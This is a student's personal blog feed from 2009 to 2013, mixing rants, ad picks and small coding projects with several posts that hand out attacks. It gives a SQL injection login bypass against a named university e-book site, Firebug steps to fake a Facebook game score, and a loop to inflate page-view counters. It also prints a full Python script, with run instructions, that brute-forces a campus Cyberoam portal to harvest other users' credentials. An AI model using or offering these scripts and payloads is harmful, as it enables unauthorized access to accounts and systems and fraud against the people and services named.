The art of noobness

Thank you Docomo. People should learn customer service from you

noreply@blogger.com (Abhishek Anand) — Sat, 12 Jan 2013 15:46:00 +0000

I do not usually write these kind of negative posts. But I had to write this.

This happened half an hour ago.

Tata Docomo has been deducting Rs. 1.50 daily from my account from the last 20 days or so. At first I thought it was charge for a call but later when the same amount deduction was shown daily I knew. Lazy as I am, I thought of complaining about it someday. And today when the wifi went down for a few minutes, I had nothing to do and so I called them expecting to get a balance refund.
I live in Hyderabad. I understand only Hindi and English but the IVR system started blabbering in Telugu (atleast give a choice to select language first). Somehow after multiple rounds of trail and errors I press some button combination to connect to the customer care. He started off in Telugu even when I was using English.

Me: Hi, I am a prepaid user. I am being charged Re. 1.50 per day since last 20 days for something I did not subscribe.
CC: (blah blah in some language I did not understand)
Me: Sorry I could not understand your language. Can you talk either in Hindi or English ?
CC: Let me look... oh yes you have subscribed to Movies updates (he said something like that)
Me: (What the **** are you talking about. I do not even watch them) Listen I have NEVER ever messaged to the 5 digit numbers for any service activation since the 5 months I am using your service then how did it get activated. Neither I am getting any SMS updates for Movies (thank you very much for this).
CC: No sir, your record shows it is activated. That means you must have activated it.
Me: That means I cannot get my money back.
CC: No sir.
Me: (banging head against wall) Could you atleast deactivate it ?
CC: Yes, Do you want information for any other services ?
Me: (forgive me for calling you) No thank you. Please deactivate this ASAP.
CC: Yes sir. It will be deactivated within 4 hours.

I email their nodal officer but the email delivery fails as the email id given by Docomo only accepts mail from their own domain. So I need to change my job, go work for Docomo to lodge a complain for their malpractices and shitty service.

Disappointed, I go for dinner and after an hour or so. I have a message waiting from C-Care. Expecting it to the end of all this I read it.

"Hi! You have been charged 50p for your call to the call center agent at 121."

Thank you Docomo.

Best Indian television advertisements PART I (as far as I can recall)

noreply@blogger.com (Abhishek Anand) — Wed, 18 Jan 2012 13:47:00 +0000

Some of the better television advertisements. (I could easily recall these so I guess they served their purpose of creating an effect)

This has to come in the beginning. This was one of the few ads I still remember and could find easily on Youtube (it received few awards too).

One of the best advertisement "series" ever created...luv you zoozoo :D

This one is not soo good but anyways...

Why you are always told not to trust the user

noreply@blogger.com (Abhishek Anand) — Thu, 03 Nov 2011 19:09:00 +0000

My last post was about six months ago, so here is one just to remind I am not dead yet.

First lets begin with a short story. Once I found a link posted as someone's Gtalk status (http://ebooks.bits-pilani.ac.in). It is a service that allows you to browse whole collection of books of 24x7books.com. I assume this is yet another service almost no one at the concerned institution would be using. What I found was instead of sanitizing the user input on the server-side, it uses JavaScript to check the input string on client-side. I just do not understand if you are taking the pain to check the input, why not do it correctly. So as you might have guessed correctly, this site is prone to SQL injection attack. I guess the organization does not pay much attention to it so it has not been corrected yet (even after 4 months of reporting it). To check it you just have to disable JavaScript in your browser and use the super-n00b always true statement i.e. just use ' OR '1'='1 as the username and password.] and you can read thousands of books free [have not browsed the site much but I think almost all popular books are available as full versions unlike Google books.] . Certain more things can be done for e.g. using a much more creative query and some trial-and-error over field-names we can get a reset password link for a particular user whose user-id is known using the forgot password feature given.

UPDATE (6 Nov 2011): Seems they have updated their code(or someone dropped the table :P ) so the noob query string would not allow you to login. To view their query string just disable javascript and use ' /-- as the username and leave the password field blank (yet another flaw, showing the user stack trace and codes instead of a useful error page.)
Here is the query string they are using for authentication -

"select *from details where email='" + TxtEmail.Text.Trim() + "' and password='" + TxtPassword.Text.Trim() + "'"
But please do not try anything else (like DROP table :P)

Some xkcd fun :) (http://xkcd.com/327/)

Now the point is sanitizing user input is no rocket science and everyone knows that SQL injection is the MOST commonly exploited vulnerability. If ever there would be a web security 101 course anywhere, it might even feature in its introductory class. Despite this, reports of apps being hacked due to this keeps coming up. I believe the problem is we are never told about these things in the beginning. I remember we had a subject Java & Web Technology where we had to make a web application as our assignment. Most of the people focused on the design and usability [Ok including me] and made a shiny little PHP+MySQL app and nobody bothered to tell us about security and all those stuff.

So, where can you start learning about web security issues ?

1. http://code.google.com/edu/security/index.html Some great videos here.
2. A course on the same page uses this http://google-gruyere.appspot.com/ A live web application where you have to actually find and exploit vulnerabilities. Very Cool stuff :)
3. http://dev.mysql.com/tech-resources/articles/guide-to-php-security-ch3.pdf Some text about how to validate input and prevent SQL injection.

....will continue on this topic in later posts.

Anagramwa - a simple anagram solver

noreply@blogger.com (Abhishek Anand) — Sun, 10 Apr 2011 06:22:00 +0000

Yet another classic example of wastage of time. Wrote this piece last month when they started flooding our local DC hub with anagram posts (and have used it sometimes too to gain some good comments :P ).
I have used a dictionary which was available on my system ( came bundled with another software)

Do not bother about code quality (its shit but well commented), but as they say "it works" :D

Project Page
http://code.google.com/p/anagramwa

Download Anagramwa from here

I have not been posting here since about a year or so( though have written something on other blog http://kb.pyground.com ). Python lovers can check out some of the posts there.

One Click Tweet - my first Chrome extension

noreply@blogger.com (Abhishek Anand) — Mon, 05 Apr 2010 11:15:00 +0000

Please ignore typos and sentence formation errors in this post, I m going to sleep.
Unemployed as I am of now, I am trying my hands on different things. There is a good news too. I have completed Dexter Season 4 and will now start doing my assignments.
Now to the topic, I never thought writing a Chrome extension would be so easy and fun. I wanted to make my first extension something useful and here is One Click Tweet. ( My classmate Gourab Mitra will surely google out many such extensions already existing in the world.........BUT this is mine :) )
If you are a chrome user you can download it from here https://chrome.google.com/extensions/detail/objljdkenmjcpabphfidphkdkblceaph
If you are a developer you can browse the source code or better grab a copy ( I have used SVN, now for SVN vs Mercurial vs Git vs blah blah, i'll save it for another day)
Now I m going to sleep.......... somebody wake me up at 5:30 for tea ( people call it high-tea which seems wrong to me for the stuffs we get here).
Contact if you wanna fix a bug in this extension or something.

Hacking a facebook app in 30 seconds , yup its right !!!!!

noreply@blogger.com (Abhishek Anand) — Wed, 31 Mar 2010 13:17:00 +0000

Recently, I saw one of facebook updates from my friend Arko, It said something like "It said 'I clicked 513 times in 30 seconds' Think you can beat your friend ??". ( the app can be found at http://apps.facebook.com/myclickchallenge/)

I thought about the app for a while and this is what I got for you all.
Here is the trick to write virtually anything (a negative number , string , a 100 billion clicks ...whatever u like) instead of your number of clicks.

1. Open Firefox
2. Download and install Firebug ( http://.getfirebug.com/).Its a plugin for mozilla. It may be already present if you are a web developer.
3. Open the apps link http://apps.facebook.com/myclickchallenge
4. Right click on the page Click--- This Frame >>Open in new tab. This will open the app part of the page in new tab.
5. Now in this newly opened tab, click the firebug icon in bottom right of firefox to view the source code and scripts of the app.
6. You will find a variety of options there. On the top left of firebug you will get 'Console'. Click on it.
7. In the console write vclick = 99999999999 or any value for vclick you want as the final value and press enter.
8. If you know just a bit of programming or javascript, you will find number of global variables like start, vtime etc. to tweak with.
9. After tweaking just start the game any wait for the time to finish by , then publish your hacked score.

Comment here if you face problems (although I doubt you will face one.) You may tweak other apps with this. I would be glad to know about your experiences here.

TCS official website HACKED !!!!!!!!!!!!!!!

noreply@blogger.com (Abhishek Anand) — Sun, 07 Feb 2010 16:08:00 +0000

It seems that the official website of Tata Consultancy Services ( http://www.tcs.com ), which is a placement-time saviour for BIT Mesra and man other institutes ( :P ) has been HACKED. The site now contains some text in french and english. It is suspected to be a type of DNS Hijacking . For a tutorial on DNS hijacking visit BITproxy Educational section.
Here is the screenshot.

INCREASE YOUR BLOGGER profile views 100 times in few minutes !!!

noreply@blogger.com (Abhishek Anand) — Mon, 01 Feb 2010 04:59:00 +0000

You must have noticed the dumb counters on some of the webpages. Now some of these counters do track users ip and then increment the count. Buy mostly dont.Google's own blogger.com's profile page or this place where you are reading this blog counts people just on the basis of hits. NOW THE INTERESTING PART .

You can increase your counters exponentially in just few minutes. Here is the python code to do that. The instructions to run this code are given in my previous post..
-----------COPY FROM HERE-----------------

import urllib

while(1):
   a = urllib.urlopen('http://www.blogger.com/profile/16674273246363106243')
   b = a.read()
   print ('DONE')

----------COPY UPTO HERE----------------
If you are facing problems consider reading Python syntax as while copying from here you may get errors as Python has no braces and tabs are its indentation marks.

You may consider giving short breaks or you may end up with this page or even your account may be suspended.

**NOTE THE URL IS OF MY BLOGGER PROFILE . CHANGE IT TO YOUR PROFILE URL OR ANY PAGE WITH COUNTERS ELSE GOOGLE WILL BAN MY ACCOUNT DUE TO YOU.
** THIS WILL EAT UP YOUR 100 mb LIMIT IF YOU ARE IN BIT MESRA OTHERWISE FOR PEOPLE ELSEWHERE SKY IS THE LIMIT FOR YOUR COUNTERS.
** GOOGLE MAY NOTICE THIS AND WILL RECTIFY ... SO THIS MAY STOP WORKING AFTER SOMETIME. BUT IT WILL WORK FOR OTHER SITES TOO :P

CYBEROAM PROF ID's HACKING CODE

noreply@blogger.com (Abhishek Anand) — Sun, 31 Jan 2010 16:36:00 +0000

Lately I have been getting much amount of queries about Prof ID's or IDs which have no limit on download or time restrictions. So I am giving out the code which I wrote to scan the IDs. Note that this code can be used to brute force any website (obviously without a captcha or image based identification system.) with some minor modifications and a good dictionary.

STEPS TO GET PROF ID's ( Ids with same numeric username and password)

1. Download Python IDE from http://www.python.org (not python.com !!!!). I have been using 2.5.1 and recommend the same.

2. Install normally

3. Open Notepad

4. Copy the following code in it or skip steps 2 n 3 n download the file from http://www.bitproxy.co.cc/data/cyberoam.py

-----------------COPY AFTER HERE----------------

# Cyberaom Prof IDs hacking code

# @author Abhishek Anand, BIT Mesra

# feel free to modify this code but do mail your code to:

codebase@bitproxy.co.cc

import urllib

import time

#this is the range of Ids to check

checkList = range(1,10000)

for i in checkList:

userid =str(i)

password= str(i)

# here a post request is being made to the CyberoamHTTPClient servelet

# for any other site view its form's source nd make a dictionary of

elements

dataToSend = urllib.urlencode({'mode': '191','isAccessDenied': '', 'url':

'', 'username': userid, 'password': password, 'saveinfo': '', })

postRequest =

urllib.urlopen("http://172.16.1.1:8090/corporate/servlet/CyberoamHTTPClient",

dataToSend)

responseData = postRequest.read()

# reading the faltu string from the output to verify

if not responseData.count('Make+sure+your+password+is+correct'):

print userid

# time to stop scanning before opening URL

time.sleep(1)

# here I m opening my Foxy's Updata File :P

openURLToCheck =

urllib.urlopen("http://www.bitproxy.co.cc/data/file.txt")

checkData = openURLToCheck.read()

if checkData.count('2k8'):

print '------------------------------------------'

print ' ID FOUND !!!!! ID FOUND !!!! ID FOUND!!!!'

print '------------------------------------------'

print password

# stopping after 80 checks to prevent temporary IP banning by stupid

Cyberoam

if i%80 == 0:

print 'SCAN COMPLETED UPTO ' + str(i)

time.sleep(3)

-----------------COPY UPTO HERE--------------------

5. Save the file with .py extension (e.g. hacker.py)

6. Now open the place where you have saved the file.

7. Right click on the file and select 'Edit with IDLE'

8. From the menu options run the program or press F5

9. The OUTPUT will generate both dead and working IDs.

10. ID FOUND !!! ID FOUND !!! means a working ID has been found.

** You can implement the same thing in Java using Java.net.* libraries. but

it may take more lines of codes.

** Please donot use this code on your friends IDs. :P

For any help feel free to mail me at: opensource@bitproxy.co.cc

Copyright Web and Spiderman, 2009

LIST OF DICTATORS (you can add your experiences as comments)

'Laal Baal' alias Ajmal Kasab :

Mechanics Lab Incharge alias 'Budhau Sir'

Identification mark - suddh hindi ke saath kuch acche comments apke t-shirt aur jeans ke baare mein aur in case you are a girl then things which must not be mentioned here.
'Sampul calculation karna hai' is his tagline. You may wonder when will he retire.

budhau ki hawas ke shikar students:
1. 'MSTC wala ladka' and 'idhar aa.....accha chor' waala ladka -

inn massomo ko kya pata tha ki unke 2 classes ki mehnat pe paani phirne jaa raha hai. jaalim ne index page ko hi itni bedardi se kaata ki wo phatne ki kagaar pe aa gaya.

2. Mr. Bablu Werewolf -

ghor beijyatti .......'ye ladka bhondu hai, isse kuch nahi aata.......kya hostel ka khana kha ke motaa rahe ho sirf....' itna kehkar jaalim ne file phekkar uske muh pe maara par bachpan ka cricket kaam aaya nahi to aaj naak phut gaye hoti......... itna hone se pehle bablu bhag kyu nahi gaya....aur ek baat chamiya ki 'medamji' aur unki 'saheli' ne bablu ki sahayata karne ki koi koshish nahi ki...i feel truly sorry for bablu. lets pray for bablu.

3. Me

jaalim : 'andha ho gaya hai kya ji.......kya likha hai'
me : 'sir wo calculate karke direct answer likhe hai'
jaalim : 'pagal ho kya ji....kahi se chap ke likh loge aur kahoge ki calculator se kiye hai. ye kya likha hai...moment of inertia ka unit kya hota hai?'
me : 'kg m2'
jaalim :'kaise ji....tum log yeha par kaise aa gaye ho.....12 me kuch padhe

4. Neo <<>>
jaalim : 'jhandi-maar t-shirt pehen ke kyu aa jate ho'
ab batayiye t-shirt ka mechanics lab se kya sambandh......

5. Anonumous <<>>

jaalim : 'kitna gpa aaya hai ji'
anonymous : ' sir 8.35'
jaalim : 'samajh me nahi aata, kaise e log ko itna gpa aa jata hai

6. jaalim ka assistant
you must be thinking how can somebody work under jalim....par kya kare naukri hai...karni parti hai.....
our source overheard following piece of conversation between jaalim and the victim ---

jaalim : 'accha ek chij bataiye toh, e jo pankha hai,e beam me kahe latka hai...aur bhi to jagah hai idhar udhar..'
assistant : 'sir.......sir..........sir'
jaalim : 'sochiye sochiye'
jaalim : 'beam mota hota hai,isiliye pakar majboot hota hai......he he he...e sab purana jamana ka baat hai...aaj kal ke log ko e sab thore hi pataa'

Get an email service yourname@yourdomain for free

noreply@blogger.com (Abhishek Anand) — Sun, 12 Jul 2009 16:52:00 +0000

Now that you have set up your server, you can purchase a good domain name or can use providers like http://www.co.cc who offer some of their domains for free only for one year.They may be the right choice for you if you are a student .

This article describes how you can set up your email with own domain name.You can registerwith Google apps and Windows live.

After registering at any one of the above links,just follow the instructions given there (they are simple anyway) and verify and configure the CNAME record of your domain.

Google apps offer some other services which you may find quite useful if you are a startup.

Note that domain name verification my take upto two days to complete.

Happy Configuring !

Deploy your own web server in 5 minutes

noreply@blogger.com (Abhishek Anand) — Sat, 11 Jul 2009 19:49:00 +0000

The steps here describe how you can use your existing PC/laptop to run as a web server.

Step1 : Install a server software on your computer. Windows XP Professional / Vista Buisness ships in with IIS , the server of Microsoft. Linux users can download Apache from http://apache.org .
Note that if you know ASP then IIS will be a better option for you. For PHP + MySQL users configuration of IIS or Apache will take some time so better download XAMPP application server from http://www.apachefriends.org/en/xampp.html . XAMPP can be easily configured using its UI.

For IIS just add a index.html file with any conten in it to the wwwroot folder.
For Apache users add a index.html file in htdocs folder.
If everything works fine you will see something when you type your ip address in your browser.

Step2 : Check if your IP address changes with each time you connect to the internet.If it happens so then you need to download and install a dynamic update client otherwise go to step 3.
For DUC Go to http://www.no-ip.com or search for some DUC providing companies.
Register there and download the client and install it. The client will ask for username and password with which you registered on no-ip.In the no-ip website , add a host and you will see the hostname in the client just select the host in the client.

Now to check whether the hostname has been mapped just type the name e.g.myname.no-ip.biz in the browser and you should see the index page.

Step3 : Now for better names than you have presently for your website just purchase a domain with your credit card or go to free domain providers like http://www.co.cc and register with them with a name . You can also use renaming services like dot.tk to map the small address to the no-ip one.

Now you hava a server deployed.

Please note that running a PC/laptop as server may result in slow connections for your users and continuous use of these systems without proper cooling mechnism is not recommended for critical operations.
